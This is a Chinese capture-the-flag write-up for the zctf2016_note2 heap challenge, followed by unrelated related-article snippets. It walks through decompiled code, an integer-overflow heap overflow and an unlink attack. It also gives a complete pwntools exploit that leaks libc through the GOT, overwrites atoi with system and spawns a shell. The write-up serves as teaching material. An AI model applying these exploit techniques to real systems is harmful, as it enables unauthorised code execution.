zctf2016_note2-堆利用-unlink

一、题目
题目:zctf2016_note2
题目描述:
二、WriteUp
(一)题目环境
glibc版本2.23 通过patchelf进行修改
(二)信息收集
$ checksec note2Arch:     amd64-64-littleRELRO:    Partial RELRO       # (.plt.got)段依然可写,只是(.got)段不在可写。Stack:    Canary foundNX:       NX enabled          # 栈不可执行PIE:      No PIE (0x400000)   # 未开启地址随机化 patchelf后基址可能会改变0x3ff000 但是还是用0x400000来做即可$ file note2
note2: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=46dca2e49f923813b316f12858e7e0f42e4a82c3, stripped# 运行测试
$ ./note2
Input your name:
admin
Input your address:
0x00400000
1.New note
2.Show  note
3.Edit note
4.Delete note
5.Quit# New note
option--->>
1
Input the length of the note content:(less than 128)
10
Input the note content:
1234567890
note add success, the id is 0# Show note
option--->>
2
Input the id of the note:
0
Content is 123456789# Edit note
option--->>
3
Input the id of the note:
0
do you want to overwrite or append?[1.overwrite/2.append]
1
TheNewContents:123
Edit note success!# Delete note
option--->>
4
Input the id of the note:
0
delete note success!
(三)IDA逆向分析
详见note2.i64文件
void __fastcall main(int a1, char **a2, char **a3)
{setvbuf(stdin, 0LL, 2, 0LL);setvbuf(stdout, 0LL, 2, 0LL);setvbuf(stderr, 0LL, 2, 0LL);alarm(0x3Cu);                                 // 当程序执行到 alarm(60); 这行代码时,会设置一个定时器,1 分钟后发送 SIGALRM 信号给程序puts("Input your name:");                     // ".bss" 段是指 "Block Started by Symbol" 段,通常用于声明未初始化的全局或静态变量read_input(name, 64LL, 10);                   // .bss:00000000006020E0 name            db 40h dup(?)           ; DATA XREF: main+7C↑oputs("Input your address:");read_input(address, 96LL, 10);                // .bss:0000000000602180 address         db 60h dup(?)           ; DATA XREF: main+9A↑o// 0x10是换行符while ( 1 ){switch ( menu() ){case 1:New_note();                             // n快捷键修改函数名 /快捷键添加注释// malloc chunkbreak;case 2:Show_note();break;case 3:Edit_note();break;case 4:Delete_note();                          // free chunkbreak;case 5:puts("Bye~");exit(0);case 6:exit(0);default:continue;}}
}
// 改成void类型
void __fastcall New_note()
{unsigned int v0; // eaxunsigned int size; // [rsp+4h] [rbp-Ch]char *malloc_ptr; // [rsp+8h] [rbp-8h]if ( (unsigned int)note_count <= 3 ){puts("Input the length of the note content:(less than 128)");size = get_number();if ( size <= 0x80 ){malloc_ptr = (char *)malloc(size);puts("Input the note content:");read_input(malloc_ptr, size, 10);         // 通过read_input溢出覆盖nextchunkstrip_baifenhao(malloc_ptr);ptr[note_count] = malloc_ptr;             // 这里应该是数组,将void *ptr改为void *ptr[]sizes[note_count] = size;v0 = note_count++;printf("note add success, the id is %d\n", v0);}else{puts("Too long");}}else{puts("note lists are full");}
}
void __fastcall Show_note()
{int v0; // [rsp+Ch] [rbp-4h]puts("Input the id of the note:");v0 = get_number();if ( v0 >= 0 && v0 <= 3 ){if ( ptr[v0] )printf("Content is %s\n", (const char *)ptr[v0]);}
}
void __fastcall Edit_note()
{char *v0; // rbxint noteid; // [rsp+8h] [rbp-E8h]int choice; // [rsp+Ch] [rbp-E4h]char *note_content; // [rsp+10h] [rbp-E0h]__int64 note_size; // [rsp+18h] [rbp-D8h]char dest[128]; // [rsp+20h] [rbp-D0h] BYREFchar *v6; // [rsp+A0h] [rbp-50h]unsigned __int64 v7; // [rsp+D8h] [rbp-18h]v7 = __readfsqword(0x28u);if ( note_count ){puts("Input the id of the note:");noteid = get_number();if ( noteid >= 0 && noteid <= 3 ){note_content = (char *)ptr[noteid];note_size = sizes[noteid];if ( note_content ){puts("do you want to overwrite or append?[1.overwrite/2.append]");choice = get_number();if ( choice == 1 || choice == 2 ){if ( choice == 1 )dest[0] = 0;elsestrcpy(dest, note_content);v6 = (char *)malloc(0xA0uLL);strcpy(v6, "TheNewContents:");printf(v6);read_input(v6 + 15, 144LL, 10);strip_baifenhao(v6 + 15);v0 = v6;v0[note_size - strlen(dest) + 14] = 0;strncat(dest, v6 + 15, 0xFFFFFFFFFFFFFFFFLL);// strncat函数用于将字符串追加到另一个字符串的末尾,并指定最大追加字符数strcpy(note_content, dest);           // 存在堆溢出可能free(v6);puts("Edit note success!");}else{puts("Error choice!");}}else{puts("note has been deleted");}}}else{puts("Please add a note!");}
}
void __fastcall Delete_note()
{int noteiid; // [rsp+Ch] [rbp-4h]puts("Input the id of the note:");noteiid = get_number();if ( noteiid >= 0 && noteiid <= 3 ){if ( ptr[noteiid] ){free(ptr[noteiid]);ptr[noteiid] = 0LL;sizes[noteiid] = 0LL;puts("delete note success!");}}
}
// y快捷键修改变量的类型
unsigned __int64 __fastcall read_input(char *a1, __int64 a2, char a3)
{char buf; // [rsp+2Fh] [rbp-11h] BYREFunsigned __int64 i; // [rsp+30h] [rbp-10h]ssize_t v7; // [rsp+38h] [rbp-8h]for ( i = 0LL; a2 - 1 > i; ++i )              // 如果a2等于0,则-1无符号数为较大数,产生整数溢出{v7 = read(0, &buf, 1uLL);                   // 0表示标准输入文件描述符,&buf是一个指向缓冲区的指针,1uLL表示要读取的字节数if ( v7 <= 0 )exit(-1);if ( buf == a3 )                            // 若buf为0x10换行符,则退出循环break;a1[i] = buf;}a1[i] = 0;return i;
}
int menu()
{puts("1.New note\n2.Show  note\n3.Edit note\n4.Delete note\n5.Quit\noption--->>");return get_number();
}
int get_number()
{char nptr[24]; // [rsp+0h] [rbp-20h] BYREFunsigned __int64 v2; // [rsp+18h] [rbp-8h]v2 = __readfsqword(0x28u);read_input((__int64)nptr, 16LL, 10);return atoi(nptr);
}
(四)Payload分析
1. 函数分析
(1)New_note函数
该函数会malloc一个size大小的chunk,然后通过read_input函数将标准输入的字节保存到malloc_ptr中,即chunk的userdata
但是read_input函数存在整数溢出漏洞,当size=0时,malloc(0)会创建一个只包含chunk头的chunk,大小为0x20,但是在read_input函数中-1为0xFFFFFFFFFFFFFFFF(18446744073709551615),计算机可以理解为以无符号数进行比较,这时可以进行堆溢出。
另外最多可以malloc申请4个chunk(2)Show_note函数
该函数打印申请的chunk中userdata的内容(3)Edit_note函数
该函数可在chunk的userdata后覆盖内容或者追加内容
漏洞1:strncat函数未控制可以追加的大小,以及read_input(v6 + 15, 144LL, 10);可以写入0x90个字节,也可以导致堆溢出,但是这个利用方式不如New_note函数中的堆溢出漏洞方便利用
漏洞2:malloc(0xa0)返回的地址并没有设置为null,存在UAF漏洞(4)Delete_note函数
该函数free了申请的chunk
2. 漏洞利用分析
(1)由于申请的堆块的指针放在bss段上,即存在chunk指针的指针,所以考虑用unlink。
(2)利用unlink修改chunk指针变为chunk指针的指针低12字节的地址,变为bss段上的地址
(3)然后再通过edit功能更改存放chunk指针的内容,然后通过show功能,打印假的chunk指针指向内容,最终泄露libc的地址
(4)这里通过edit函数将free@got改为system函数的地址,让程序再次执行,并输入参数"/bin/sh\x00",即执行system("/bin/sh")拿shell。
3. 示意图
(1)创建3个chunk

在这里插入图片描述

(2)利用整数溢出进行堆溢出,构造fake_chunk和fake_chunk of nextchunk

在这里插入图片描述

(3)触发unlink

在这里插入图片描述

(五)Exploit撰写
# 在实际构造exp时需要先把与程序交互的函数写出
# 本题gdb.attach()断在menu菜单处并继续执行
# IDA中可以通过窗口最下方的行处快捷查看函数地址
# IDA中获取的地址
# .bss:0000000000602120 ptr             dq ?
from pwn import *
import warnings
warnings.filterwarnings("ignore", category=BytesWarning) # 忽略 BytesWarningio = process("./note2")
# io = remote("abc",1234)elf = ELF('./note2')
libc = ELF('./libc-2.23.so')
# context.log_level = 'debug'def new(size,buf):io.sendlineafter("option--->>","1")io.sendlineafter("Input the length of the note content:(less than 128)",str(size))io.sendlineafter("Input the note content:",buf)def show(id):io.sendlineafter("option--->>","2")io.sendlineafter("Input the id of the note:",str(id))def edit(id,opt,buf):io.sendlineafter("option--->>","3")io.sendlineafter("Input the id of the note:",str(id))io.sendlineafter("do you want to overwrite or append?[1.overwrite/2.append]",str(opt))io.sendlineafter("TheNewContents:",buf)def delete(id):io.sendlineafter("option--->>","4")io.sendlineafter("Input the id of the note:",str(id))io.sendlineafter("name","admin")
io.sendlineafter("address","0x00400000")
# gdb.attach(io,"b *0x401030") 
# pause()ptr = 0x602120 
fake_prev_size = 0
fake_size = 0x80 + 0x20 + 0x1 # P:PREV_INUSE,记录前一个chunk块是否被分配,1表示被分配
fake_fd = ptr - 0x18
fake_bk = ptr - 0x10
payload = p64(fake_prev_size) + p64(fake_size) + p64(fake_fd) + p64(fake_bk)
new(0x80,payload)
new(0,'')
new(0x80,'1')delete(1)
new(0,b'A'*0x10 + p64(fake_size-1) + p64(0x90))delete(2)payload = b'A'*0x18 + p64(elf.got['atoi'])
edit(0,1,payload)show(0)
io.recvuntil("Content is ")
atoi_got = io.recvuntil("\n").strip() + b"\x00\x00"
libc_baseaddr = u64(atoi_got)-libc.symbols['atoi']edit(0,1,p64(libc_baseaddr + libc.symbols['system']))io.sendline("/bin/sh")
io.interactive()    
(六)GDB调试
python3 exp.py
heap
telescope $addr $addr_nums # 查看chunk的内容
bins
chunkinfo $addr
1. 创建3个chunk
ptr = 0x602120 
fake_prev_size = 0
fake_size = 0x80 + 0x20 + 0x1 # P:PREV_INUSE,记录前一个chunk块是否被分配,1表示被分配
fake_fd = ptr - 0x18
fake_bk = ptr - 0x10payload = p64(fake_prev_size) + p64(fake_size) + p64(fake_fd) + p64(fake_bk)
new(0x80,payload)
new(0,'')
new(0x80,'1')

在这里插入图片描述

2. 释放chunk1
delete(1)

在这里插入图片描述

3. 申请chunk3 进行堆溢出,构造fake_chunk的nextchunk
new(0,b'A'*0x10 + p64(fake_size-1) + p64(0x90))

在这里插入图片描述

4. 触发unlink
可以看到ptr数组保存了两个指针
delete(2)

在这里插入图片描述

5. 泄露libc.baseaddr
现在ptr[0]指向0x602108,写入数据会覆盖ptr[0]的指针,然后打印ptr[0]指向的值会泄露atoi@got的地址
payload = b'A'*0x18 + p64(elf.got['atoi']) 
edit(0,1,payload)
show(0)
io.recvuntil("Content is ")
atoi_got = io.recvuntil("\n").strip() + b"\x00\x00"
libc_baseaddr = u64(atoi_got)-libc.symbols['atoi']

在这里插入图片描述

6. 覆盖atoi@got表地址为system@got
现在ptr[0]是atoi@got的地址,写入数据会覆盖atoi@got的值,如果覆盖为system@got,则执行程序触发atoi时,会执行system函数,而atoi的参数是通过用户输入的,即get_number函数,在输入option时输入/bin/sh即实现交互式shell
io.sendline("/bin/sh") 
edit(0,1,p64(libc_baseaddr + libc.symbols['system']))

在这里插入图片描述

三、参考链接

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/858504.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Redis-HyperLogLog数据类型及其常用命令详解

1.Redis概述 2.HyperLogLog数据类型 HyperLogLog&#xff08;HLL&#xff09;是一种用于近似计算大数据集合中唯一元素数量&#xff08;基数&#xff09;的概率性数据结构。 概率数据结构&#xff1a; HyperLogLog 使用的是一种概率算法&#xff0c;它可以在极少的内存消耗下估…

SpringBoot2+Vue3开发博客管理系统

项目介绍 博客管理系统&#xff0c;可以帮助使用者管理自己的经验文章、学习心得、知识文章、技术文章&#xff0c;以及对文章进行分类&#xff0c;打标签等功能。便于日后的复习和回忆。 架构介绍 博客管理系统采用前后端分离模式进行开发。前端主要使用技术&#xff1a;Vu…

鸿蒙HarmonyOS服务卡片实战

引言 在现代开发中&#xff0c;服务卡片是不可或缺的一部分&#xff0c;比如音乐&#xff0c;天气类等应用&#xff0c;官网的介绍中写道&#xff1a;卡片让您便捷地预览服务信息&#xff0c;例如查看天气或日历日程等内容。您可将卡片添加到屏幕上&#xff0c;让这类信息触手…

[C++][设计模式][观察者模式]详细讲解

目录 1.动机2.模式定义3.要点总结4.代码感受1.代码一1.FileSplitter.cpp2.MainForm.cpp 2.代码二1.FileSplitter.cpp2.MainForm.cpp 1.动机 在软件构建过程中&#xff0c;需要为某些对象建立一种“通知依赖关系” 一个对象(目标对象)的状态发生改变&#xff0c;所有的依赖对象…

Clickhouse 的性能优化实践总结

文章目录 前言性能优化的原则数据结构优化内存优化磁盘优化网络优化CPU优化查询优化数据迁移优化 前言 ClickHouse是一个性能很强的OLAP数据库&#xff0c;性能强是建立在专业运维之上的&#xff0c;需要专业运维人员依据不同的业务需求对ClickHouse进行有针对性的优化。同一批…

一、企业级架构设计-archimate基础概念

目录 一、标准 二、实现工具 1、Archimate 1、Archimate 基本概念 1、通用元模型 2、结构关系 3、依赖关系 1、服务关系 2、访问关系 3、影响关系 1、影响方式 2、概念 3、关系线 4、案例 4、关联关系 4、动态、节点和其他关系 1、时间或因果关系 2、信息流 …

缓存层持久化

** 读缓存** 分布式缓存 先将所有的缓存数据集中存储在同一个地方&#xff0c;而非重复保存到各个服务器节点中&#xff0c;然后所有的服务器节点都从这个地方读取数据 使用MongoDB的公司最少&#xff0c;目前&#xff0c;Redis比Memcached更流行&#xff1a; &#xff08;1&…

【操作系统】信号Signal超详解|捕捉函数

&#x1f525;博客主页&#xff1a; 我要成为C领域大神&#x1f3a5;系列专栏&#xff1a;【C核心编程】 【计算机网络】 【Linux编程】 【操作系统】 ❤️感谢大家点赞&#x1f44d;收藏⭐评论✍️ 本博客致力于知识分享&#xff0c;与更多的人进行学习交流 ​ 如何触发信号 …

【剖析】为什么说RBF神经网络的误差为0

本文来自《老饼讲解-BP神经网络》https://www.bbbdata.com/ 机器学习中的模型非常的多&#xff0c;但如果要问有没有这样的一个模型&#xff0c;它的训练误差为0&#xff0c;那么就非RBF神经网络莫属了&#xff01;下面我们来聊聊&#xff0c;为什么RBF神经网络的训练误差为0。…

了解请求参数与响应参数的区别:初学者指南

在 Web 的开发领域&#xff0c;无论你是前端开发还是后端开发人员&#xff0c;把握请求与响应参数的核心差异是极其重要的。这些参数在客户端和服务器之间的互动中扮演着关键角色。 请求参数的定义及类别 定义 当客户端向服务器提交信息时所使用的数据被称为请求参数。这些参…

【Docker】Docker下载安装_使用阿里云加速配置

1、下载安装 1.1前提条件 安装环境&#xff1a; 目前&#xff0c;CentOS 仅发行版本中的内核支持 Docker。Docker 运行在 CentOS 7 上&#xff0c;要求系统为64位、系统内核版本为 3.10 以上。Docker 运行在 CentOS-6.5 或更高的版本的 CentOS 上&#xff0c;要求系统为64位…

STM32上实现spwm调制原理分析

在STM32微控制器上实现SPWM&#xff08;正弦脉宽调制&#xff0c;Sinusoidal Pulse Width Modulation&#xff09;调制的核心是利用高频载波&#xff08;三角波&#xff09;与低频基波&#xff08;正弦波&#xff09;作比较得出。 那么在STM32里三角波和正弦波分别是什么&…

YzmCMS内核简约风非常不错的博客自媒体主题模板

本次发布的“Eric”主题模版文件中&#xff0c;已移除默认模版中一些非必要的模版&#xff0c;仅保留一些通用模版(首页、频道页、列表页、资源列表页、内容页、关于我/单页等)&#xff0c;当前模版主题中提供的模版文件已经能够满足大部分网站使用。 YzmCMS内核简约风非常不错…

Java数据结构4-链表

1. ArrayList的缺陷 由于其底层是一段连续空间&#xff0c;当在ArrayList任意位置插入或者删除元素时&#xff0c;就需要将后序元素整体往前或者往后搬移&#xff0c;时间复杂度为O(n)&#xff0c;效率比较低&#xff0c;因此ArrayList不适合做任意位置插入和删除比较多的场景…

明明设置允许跨域,为什么还会出现跨域请求的问题

一、问题 在微服务项目中&#xff0c;明明已经设置允许跨域访问&#xff1a; 为什么还会出现跨域请求问题&#xff1f; 二、为什么 仔细查看错误提示信息&#xff1a;When allowCredentials is true, allowedOrigins cannot contain the special value "*" since t…

Cesium如何高性能的实现上万条道路的流光穿梭效果

大家好&#xff0c;我是日拱一卒的攻城师不浪&#xff0c;专注可视化、数字孪生、前端、nodejs、AI学习、GIS等学习沉淀&#xff0c;这是2024年输出的第20/100篇文章&#xff1b; 前言 在智慧城市的项目中&#xff0c;经常会碰到这样一个需求&#xff1a;领导要求将全市的道路…

Jenkins定时构建自动化(二):Jenkins的定时构建

目录 ​编辑 一、 jenkins定时构建语法&#xff1a; 1. 语法规则&#xff1a; 2. 常见用法举例 3. 再次举例 接上一篇&#xff1a;Jenkins定时构建自动化(一)&#xff1a;Jenkins下载安装配置&#xff1a;Jenkins定时构建自动化(一)&#xff1a;Jenkins下载安装配置-CSDN博客 …

常见的LED显示屏拼接优缺点解析

LED显示屏拼接技术在现代显示技术中占据了重要地位。随着市场需求的不断增长&#xff0c;各种拼接屏技术也不断发展&#xff0c;每种技术都有其独特的优势和不足。本文将详细解析常见的几种拼接屏技术&#xff0c;包括LED显示屏拼接、投影DLP拼接和等离子PDP拼接。 LED显示屏拼…

STM32CubeIDE提示找不到头文件(No such file or directory)的解决办法

0 前言 最近在使用STM32CubeIDE时&#xff0c;发现为工程添加了头文件路径&#xff0c;但编译的时候还是报错&#xff0c;提示找不到头文件&#xff1a; 1 解决办法 1.1 为工程添加头文件路径 右键我们的工程&#xff0c;然后添加头文件路径&#xff08;最好是相对路径&am…

秋招突击——第八弹——Redis是怎么运作的

文章目录 引言正文Redis在内存中是怎么存储的面试重点 Redis是单线程还是多线程面试重点 内存满了怎么办&#xff1f;面试重点 持久化介绍面试重点 RDB持久化面试重点 AOF日志面试重点 总结 引言 差不多花了两天把redis给过了&#xff0c;早上也只背了一半&#xff0c;完成回去…